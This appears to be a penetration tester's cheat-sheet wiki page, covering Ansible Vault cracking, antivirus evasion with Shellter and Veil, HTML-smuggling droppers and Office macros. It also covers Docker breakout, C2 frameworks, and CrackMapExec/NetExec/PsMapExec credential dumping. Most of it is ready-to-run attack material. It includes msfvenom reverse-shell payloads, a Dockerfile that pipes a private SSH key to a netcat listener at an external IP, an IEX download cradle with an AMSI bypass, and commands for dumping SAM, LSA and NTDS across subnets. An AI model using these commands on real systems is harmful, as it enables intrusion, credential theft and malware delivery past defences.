[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]

<syntaxhighlight lang="bash">
# Run Ad-hoc command
ansible victims -a "whoami"
# Run ad-hoc command as root or other users
# If you don't specify user it will default to root.
ansible victims -a "whoami" --become

## Crack Ansible hash
# Notice the spaces between AES256 and 666...
cat test.yml >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
# Convert to readable hash
https://github.com/willstruggle/john/blob/master/ansible2john.py
python3 ansible2john.py test.yml > ansiblehash
cat ansiblehash >
$ansible$0*0*9661a952b5822af9a210...
# Crack the hash using john or hashcat
john ansiblehash
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt
# Decrypt vault
cat pw.txt >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
cat pw.txt | ansible-vault decrypt
# Use the pass cracked from john or hashcat
Vault password:
lab
# Run the playbook
ansible-playbook playbook.yml --vault-password-file=vault.txt
# OR
ansible-playbook playbook.yml --ask-vault-pass
</syntaxhighlight>

== Artifactory Jfrog ==

<syntaxhighlight lang="bash">
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide
</syntaxhighlight>

== Anti-Virus Evasion (Bypass) ==

[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]

PWK chapter 17

OSEP

=== Test payload against AV ===

https://virustotal.com (Don't use if you want you're payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.

https://antiscan.me

=== Theory ===

<syntaxhighlight lang="bash">
# On-Disk Evasion
- Packers
- Obfuscator
- Crypters
- Software protectors
# In-memory Evasion
- Remote Process Memory Injection
- Reflective DLL Injection
- Process Hollowing
- Inline hooking
</syntaxhighlight>

=== Shellter ===

Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.

It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.

The free version only works for x86, not x64.

<syntaxhighlight lang="bash">
# Install
sudo apt install shellter
apt install wine
# If error
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32:i386
# Start
shellter
# Download a valid .exe file, ex spotify installer and load it into shellter.
/home/aghanim/downloads/SpotifySetup.exe
# Choose a payload from the list.
L
1
SET LHOST: IP
SET LPORT: PORT
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate".
set AutoRunScript post/windows/manage/migrate
-----------------------
# You can also set custom payload
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin
# Start shellter
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /home/kali/poultry/whoami.exe
**********
* Backup *
**********
Backup: Shellter_Backups\whoami.exe
...
Filtering Time Approx: 0.0024 mins.
Enable Stealth Mode? (Y/N/H): N
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): C
Select Payload: /home/kali/poultry/met.bin
Is this payload a reflective DLL loader? (Y/N/H): N
****************
* Payload Info *
****************
...
Injection: Verified!
</syntaxhighlight>

[[File:2022-10-image-1.png|thumb]]

[[File:2022-10-image-2.png|thumb]]

=== Veil Framework ===

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.

<syntaxhighlight lang="bash">
# Install
# https://github.com/Veil-Framework/Veil
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
# If error with (wine) python pip peefile version fix with this
vim /usr/share/veil/config/setup.sh
Change line 587 to:
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
Then, run # veil --setup again.

# Start veil
veil
# or
/usr/share/veil/Veil.py
# Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool

# Generate a powershell script (bat file) for evasion
veil > use evasion
# List payloads
veil > list
# Use powershell rev tcp payload
veil/evasion > use powershell/meterpreter/rev_tcp.py
# List options
[powershell/meterpreter/rev_tcp>>]: options
# Generate payload
[powershell/meterpreter/rev_tcp>>]: generate

# From pic below, payload is in /var/lib/veil/output/source/ folder
</syntaxhighlight>

[[File:2022-10-image-3.png|thumb]]

=== Ebowla ===

<syntaxhighlight lang="bash">
https://github.com/Genetic-Malware/Ebowla
# Use it to obfuscate payloads like JuicyPotato or other exploits.
# Quick demo
https://www.youtube.com/watch?v=rRm3O7w5GHg
</syntaxhighlight>

----

== API ==

[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]

<syntaxhighlight lang="bash">
# Need to have golang installed
apt-get install golang
# build the binary
make build
# symlink your binary
ln -s $(pwd)/dist/kr /usr/local/bin/kr
# compile the wordlist
# kr kb compile
kr kb compile routes.json routes.kite
# scan away
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053
</syntaxhighlight>

== Buffer overflow ==

https://blog.aghanim.net/?p=1932

----

== Browser exploits ==

=== Firefox ===

<syntaxhighlight lang="bash">
# Extract passwords from profile
https://github.com/unode/firefox_decrypt
</syntaxhighlight>

----

----

== Client-Side Code Execution ==

=== HTML Smuggeling ===

HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the
browser to automatically download a file when a user clicks the assigned hyperlink.
</pre>

In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.

<syntaxhighlight lang="bash">
# Generate a staged payload using msfvenom.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe
# Saved it as base64 as to not lose any data.
base64 msfstaged.exe
</syntaxhighlight>

<syntaxhighlight lang="markup">

function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);

</syntaxhighlight>

[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]

=== Microsoft Office Macro Client-side Attack ===

https://blog.aghanim.net/?page_id=1809#Microsoft_Word

==== Visual Basic for Applications [VBA] ====

<syntaxhighlight lang="visual">
'VBA Datatype
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer
'Example - if and else statement
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub

'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub
'The picture below show the cmd.exe running as a child process of winword.
</syntaxhighlight>

[[File:2023-02-image-1.png|thumb]]

----

== Certificate Types ==

{| class="wikitable"
|-
! Extension
! Full Name
! Contains
! Format
! Common Use
! Use Case
! Real-World Example
|-
| .cer
| Certificate
| Public key
| Usually in DER or PEM
| Sharing or installing public keys
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates
| Adding a trusted certificate in Windows to access a secure corporate intranet site
|-
| .pem
| Privacy Enhanced Mail
| Certificates and/or private keys
| Base64 encoded text (PEM)
| SSL certificates and private keys, commonly used in web servers
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security
|-
| .crt
| Certificate
| Public key
| Usually in PEM or DER
| Similar to .cer, used for certificates in web servers
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)
| Installing an SSL/TLS certificate from Let's Encrypt (.crt) to secure your website and enable HTTPS
|-
| .pfx
| Personal Information Exchange
| Private key and certificate (often password-protected)
| Binary (PFX)
| Bundling a private key with a certificate, used for importing/exporting certificates
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file
|-
| .key
| Private Key File
| Private key
| Text (usually PEM)
| Storing private keys for SSL certificates, often paired with .crt files
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate
| Using a .key file along with a .crt file to configure HTTPS for a website
|-
| .der
| Distinguished Encoding Rules
| Certificate or private key in binary
| Binary (DER)
| Storing certificates or private keys in binary format
| Used in environments where certificates or keys need to be in a compact, binary format
| Using a .der file to import a certificate in Windows or Java environments
|-
| .csr
| Certificate Signing Request
| Information about an entity requesting a certificate
| Text (usually PEM)
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)
| Generating a .csr to request an SSL/TLS certificate from a CA like Let's Encrypt
| Creating a .csr file to obtain an SSL certificate for your website
|-
| .p7b or .p7c
| PKCS#7 Certificate File
| Certificates in chain (no private key)
| Base64 or Binary
| Sharing a certificate chain
| Importing a full certificate chain in environments like Java keystores
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server
|-
| .jks
| Java KeyStore
| Private keys and certificates
| Binary (JKS)
| Storing certificates and private keys in Java environments
| Storing certificates and keys for Java-based applications like Tomcat
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat
|}

----

== Command and control - C2 framework ==

=== Covenant ===

<syntaxhighlight lang="bash">
# https://github.com/cobbr/Covenant
# Installation and running
git clone --recurse-submodules https://github.com/cobbr/Covenant
# Be sure to install the dotnet core version 3.1 SDK!
# Build and run convenant
$ ~ > git clone --recurse-submodules https://github.com/cobbr/Covenant
$ ~ > cd Covenant/Covenant
$ ~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
</syntaxhighlight>

=== Powershell-empire (And starkiller) ===

<syntaxhighlight lang="bash">
# https://github.com/EmpireProject/Empire
# Installation and running
sudo ./setup/install.sh
# Or
sudo apt install powershell-empire
# Starkiller
# https://github.com/BC-SECURITY/Starkiller
# Starkiller is a Frontend for Powershell Empire.
# Change the permissions
chmod a+x starkiller-.AppImage
# Then execute
./starkiller-.AppImage --no-sandbox
</syntaxhighlight>

=== Meterpreter ===

<syntaxhighlight lang="bash">
# Log location
~/.msf4/logs/framework.log
# DBMS used is postgresql.
# If IOError, check logs. If Postgresql, check the postgresql logs at:
/var/log/postgresql/...
# Initialize db
msfdb init # only if needed
# Metasploit location
/opt/metasploit-framework/embedded/framework/
</syntaxhighlight>

----

== Compiling exploits ==

=== Compile .asm to elf ===

<syntaxhighlight lang="bash">
nasm -f elf64 thm.asm
ld thm.o -o thm
./thm
THM,Rocks!
</syntaxhighlight>

=== Compile .cpp to .exe ===

<syntaxhighlight lang="bash">
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp
</syntaxhighlight>

=== Compile .cs to .exe ===

<syntaxhighlight lang="bash">
# Using csc
csc payload.cs
# Using mono - https://www.mono-project.com/
mcs payload.cs
</syntaxhighlight>

=== Compile .c to .exe ===

<syntaxhighlight lang="bash">
## Create 32-bit Windows executable with:
i686-w64-mingw32-gcc -o main32.exe main.c
## Create 64-bit Windows executable with:
x86_64-w64-mingw32-gcc -o main64.exe main.c
# Flags:
-lwsock32 and -lws2_32
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.
</syntaxhighlight>

=== Compile .c in linux using --static ===

<syntaxhighlight lang="bash">
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.
gcc 45010.c -o exploit --static

gcc 45010.c -o exploit -z execstack
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.

-------------------------------
# If the above dont work, try this
gcc -o sh.elf sh.c -z execstack -static
upx --best --lzma -o shupx.elf ./sh.elf
</syntaxhighlight>

=== Compile .c to 32-bit windows ===

<syntaxhighlight lang="bash">
gcc exploit.c -m32 -o exploit
</syntaxhighlight>

----

== Docker - Privile Escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]

=== Shell ===

This will create a docker image, that you can run and get a shell with

<syntaxhighlight lang="bash">
# Create a docker file
FROM alpine:latest
ENV WORKIDR /privesc
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR]
WORKDIR $WORKDIR
# Build the docker container
docker build -t imagename .
# Now run the image with /bin/bash. -it means interactive and terminal
docker run -v /:/mountdir -it imagename /bin/bash
root@machine#
-----------------------------------------------
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
</syntaxhighlight>

=== Exfiltrate data ===

See notes for Deployer

<syntaxhighlight lang="bash">
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80
shanah@deployer:/opt$ cat dockerfile
FROM alpine
COPY id_rsa.bak /tmp/id_rsa.bak
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80
# After running the below command, look at your netcat listener.
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .
</syntaxhighlight>

----

== Exec-Tools ==

=== CrackMapExec ===

<syntaxhighlight lang="bash">
https://wiki.porchetta.industries/
# READ MORE IN THE LINK ABOVE!!!!
# SMB commands
# Obtaining creds
# Require Domain Admin or Local Admin
# Dump SAM
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
## Dump LSA
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
## Dump NTDS.dit
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
## LPAS - If installed on the domain
crackmapexec smb -u user-can-read-laps -p pass --laps
# LDAP
## Dump gMSA
crackmapexec ldap -u -p --gmsa
## LAPS - If installed on the domain
crackmapexec ldap -u user-can-read-laps -p pass -M laps
## Extract gMSA secrets
crackmapexec ldap -u -p --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
rackmapexec ldap -u -p --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'
## List all PKI enrollment server
crackmapexec run ldap -u user -p pass -M adcs
## Extract subnet
crackmapexec ldap -u -p -M get-network
crackmapexec ldap -u -p -M get-network -o ONLY_HOSTS=true
crackmapexec ldap -u -p -M get-network -o ALL=true
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
</syntaxhighlight>

=== NetExec ===

<syntaxhighlight lang="bash">
# https://github.com/Pennyw0rth/NetExec
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
# cheatsheet
https://www.netexec.wiki/
# General
netexec -u username -p password
# Using modules
# List available modules
nxc smb -L
# View module options
nxc smb -M lsassy --options
# Using Kerberos
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
$ nxc smb zoro.gold.local --use-kcache
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami
# Send a local file to the remote target
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
# Read LAPS
nxc smb -u user-can-read-laps -p pass --laps
# Impersonate logged on user
# 1. Enumerate logged-on users on your Target
nxc smb -u -p --loggedon-users
# 2. Execute commands on behalf of other users
nxc smb -u -p -M schtask_as -o USER= CMD=
# Find Domain SID
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid
# Kerberoasting
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation
# Dump gMSA
$ nxc ldap -u -p --gmsa
# Bloodhound ingenstor
nxc ldap -u user -p pass --bloodhound -ns --collection All

</syntaxhighlight>

==== Meterpreter using Invoke-metasploitpayload.ps1 ====

<syntaxhighlight lang="bash">
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter
# Meterpreter
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.
# On your Metasploit instance, run the following commands
use exploit/multi/script/web_delivery
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script
set SRVHOST 10.211.55
set SRVPORT 8443
# The target variable determines what type of script we're using. 2 is for PowerShell
set target 2
# Pick your payload. In this case, we'll use a reverse https meterpreter payload
set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443
# Run the exploit
run -j
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.
msf exploit(web_delivery) > run -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.
# Then just run the met_inject module and specify the LHOST and LPORT values:
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http
</syntaxhighlight>

=== PsMapExec ===

<syntaxhighlight lang="powershell">
# Cheathseet
https://viperone.gitbook.io/pentest-everything/psmapexec
https://github.com/The-Viper-One/PsMapExec
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.
# Load directly into memory and attempt to bypass AV
# Invoke-NETMongoose.ps1 is an AMSI bypass
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.
## Primarily these are:
### Kirby (PowerShell based Kerberos ticket dump)
### Invoke-Pandemonium (Slightly modified Mimikatz)

# Examples
# Execute WMI commands over all systems in the domain using password authentication
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command "net user"
# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command "net user"
# Check RDP Access against workstations in the domain
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP
# Dump SAM on all servers in the domain using SMB
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM
# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList
# Dump LogonPasswords on all Domain Controllers over SMB
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords
</syntaxhighlight>

== GIT ==

See PG Hunit writeup

=== Download .git ===

<syntaxhighlight lang="bash">
mkdir
./gitdumper.sh /.git/
</syntaxhighlight>

=== Extract .git content ===

<syntaxhighlight lang="bash">
mkdir
./extractor.sh
</syntaxhighlight>

=== GIT basic commands ===

<syntaxhighlight lang="bash">
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files
git add -A
# Configure who you are in order to commit
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
# The git commit command **captures a snapshot of the project's currently staged changes**.
git commit -m "This is a message"
# Push your changes to the remote server. "master" refers to master branch in your repository.
git push origin master
</syntaxhighlight>

=== ===

=== GIT_SSH_COMMAND ===

<syntaxhighlight lang="bash">
# GIT_SSH_COMMAND
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.243.125:/git-server
# This command wil SSH to user git and push the changes to the remote server.
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git push origin master
</syntaxhighlight>

=== GitLeaks - Scan repos for secrets ===

<syntaxhighlight lang="bash">
# https://github.com/zricethezav/gitleaks
gitleaks detect --source . -v
</syntaxhighlight>

----

== Google Dorking ==

<syntaxhighlight lang="bash">
https://dorksearch.com/
site:target[.]com ext:php inurl:?
site:target.tld intitle:"index of /" # intitle:"index of /": This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.
</syntaxhighlight>

=== Search operators ===

[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]

{| class="wikitable"
|-
! Operator
! Description
! Syntax
! Example
|-
| ()
| Group multiple terms or operators. Allows advanced expressions
| (<term> or <operator>)
| inurl:(html | php)
|-
| *
| Wildcard. Matches any word
| <text> * <text>
| How to * a computer
|-
| ""
| The given keyword has to match exactly. case-insensitive
| "<keywords>"
| "google"
|-
| m..n / m...n
| Search for a range of numbers. n should be greater than m
| <number>..<number>
| 1..100
|-
| -
| Documents that match the operator are excluded. NOT-Operator
| -<operator>
| -site:youtube.com
|-
| +
| Include documents that match the operator
| +<operator>
| +site:youtube.com
|-
| |
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match
| <operator> | <operator>
| "google" | "yahoo"
|-
| ~
| Search for synonyms of the given word. Not supported by Google
| ~<word>
| ~book
|-
| @
| Perform a search only on the given social media platform. Rather use site
| @<socialmedia>
| @instagram
|-
| after
| Search for documents published / indexed after the given date
| after:<yy(-mm-dd)>
| after:2020-06-03
|-
| allintitle
| Same as intitle but allows multiple keywords seperated by a space
| allintitle:<keywords>
| allintitle:dog cat
|-
| allinurl
| Same as inurl but allows multiple keywords seperated by a space
| allinurl:<keywords>
| allinurl:search com
|-
| allintext
| Same as intext but allows multiple keywords seperated by a space
| allintext:<keywords>
| allintext:math science university
|-
| AROUND
| Search for documents in which the first word is up to n words away from the second word and vice versa
| <word1> AROUND(<n>) <word2>
| google AROUND(10) good
|-
| author
| Search for articles written by the given author if applicable
| author:<name>
| author:Max
|-
| before
| Search for documents published / indexed before the given date
| before:<yy(-mm-dd)>
| before:2020-06-03
|-
| cache
| Search on the cached version of the given website. Uses Google's cache to do so
| cache:<domain>
| cache:google.com
|-
| contains
| Search for documents that link to the given fileype. Not supported by Google
| contains:<filetype>
| contains:pdf
|-
| date
| Search for documents published within the past n months. Not supported by Google
| date:<number>
| date:3
|-
| define
| Search for the definition of the given word
| define:<word>
| define:funny
|-
| ext
| Search for a specific filetype
| ext:<documenttype>
| ext:pdf
|-
| filetype
| Refer to ext
| filetype:<documenttype>
| filetype:pdf
|-
| inanchor
| Search for the given keyword in a website's anchors
| inanchor:<keyword>
| inanchor:security
|-
| index of
| Search for documents containing direct downloads
| index of:<term>
| index of:mp4 videos
|-
| info
| Search for information about a website
| info:<domain>
| info:google.com
|-
| intext
| Keyword needs to be in the text of the document
| intext:<keyword>
| intext:news
|-
| intitle
| Keyword needs to be in the title of the document
| intitle:<keyword>
| intitle:money
|-
| inurl
| Keyword needs to be in the URL of the document
| inurl:<keyword>
| inurl:sheet
|-
| link / links
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website
| link:<keyword>
| link:google
|-
| location
| Show documents based on the given location
| location:<location>
| location:USA
|-
| numrange
| Refer to m..n
| numrange:<number>-<number>
| numrange:1-100
|-
| OR
| Refer to |
| <operator> OR <operator>
| "google" OR "yahoo"
|-
| phonebook
| Search for related phone numbers associated with the given name
| phonebook:<name>
| phonebook:"william smith"
|-
| relate / related
| Search for documents that are related to the given website
| relate:<domain>
| relate:google.com
|-
| safesearch
| Exclude adult content such as pornographic videos
| safesearch:<keyword>
| safesearch:sex
|-
| source
| Search on a specific news site. Rather use site
| source:<news>
| source:theguardian
|-
| site
| Search on the given site. Given argument might also be just a TLD such as com, net, etc
| site:<domain>
| site:google.com
|-
| stock
| Search for information about a market stock
| stock:<stock>
| stock:dax
|-
| weather
| Search for information about the weather of the given location
| weather:<location>
| weather:Miami
|}

=== Finding Valuable Information ===

<syntaxhighlight lang="bash">
intitle:"webcamXP 5" | inurl:"lvappl.htm"
</syntaxhighlight>

Find open/public webcams

<syntaxhighlight lang="bash">
intext:password ext:log
</syntaxhighlight>

Find log documents wich have the string "password" in it

<syntaxhighlight lang="bash">
inurl:/proc/self/cwd
</syntaxhighlight>

Find vulnerable webservers

<syntaxhighlight lang="bash">
inurl:email.xls ext:xls
</syntaxhighlight>

Find excel documents that contain email addresses

<syntaxhighlight lang="bash">
index of:mp3 intext:.mp3
</syntaxhighlight>

Find mp3 (music) documents

<syntaxhighlight lang="bash">
intext:"index of /"
</syntaxhighlight>

Finding indexed files

----

== Listener ==

<syntaxhighlight lang="bash">
# ATTENTION
# Some target machines might block the port you've choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.
</syntaxhighlight>

=== Metasploit ===

<syntaxhighlight lang="bash">
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
</syntaxhighlight>

=== Netcat ===

<syntaxhighlight lang="bash">
# Listen on port
nc -lvnp
# Use rlwrap for better shell on Windows
rlwrap nc -lvnp
# Connect to port
nc -nv
</syntaxhighlight>

=== Socat ===

<syntaxhighlight lang="bash">
# Basic listener
socat TCP-L: -
# Windows connect back
socat TCP::
EXEC:powershell.exe,pipes
